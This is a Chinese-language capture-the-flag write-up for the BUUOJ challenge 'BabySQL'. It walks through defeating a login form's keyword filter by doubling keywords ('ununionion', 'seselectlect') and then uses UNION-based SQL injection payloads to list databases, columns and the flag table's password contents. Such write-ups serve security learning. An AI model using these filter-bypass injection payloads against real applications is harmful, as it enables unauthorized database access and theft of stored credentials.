[极客大挑战 2019]BabySQL
题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]BabySQL
打开环境后如下所示。
尝试以下几种方法的万能密码:
- 不加单引号。
- 加单引号。
- 加双引号。
发现加入了单引号后,有 SQL 错误提示,但是可以发现,题目似乎过滤了用户输入的 "or"。
接下来,尝试双写绕过。
发现可以成功登陆。
尝试联合注入,发现成功回显。
Payload:admin'+ununionion+seselectlect+1,2,3%3b%23
。
接下来与 "[极客大挑战 2019]LoveSQL" 一致,对数据库进行查询即可。(这里找了一下 SQLMap 的双写绕过 tamper,但是失败了)。
查询当前存在什么数据库。
Payload:admin'+ununionion+seselectlect+1,2,group_concat(schema_name)+frofromm+infoorrmation_schema.schemata%3b%23
。
查询 "b4bsql" 数据表中存在什么字段。
Payload:admin'+ununionion+seselectlect+1,2,group_concat(column_name)+frfromom+infoorrmation_schema.columns+whewherere+table_name%3d'b4bsql'%3b%23
。
查看 "b4bsql" 数据表的 "flag" 字段的所有内容。
Payload:admin'+ununionion+seselectlect+1,2,group_concat(0x7e,passwoorrd,0x7e)+frfromom+geek.b4bsql%3b%23
。
成功获得 flag。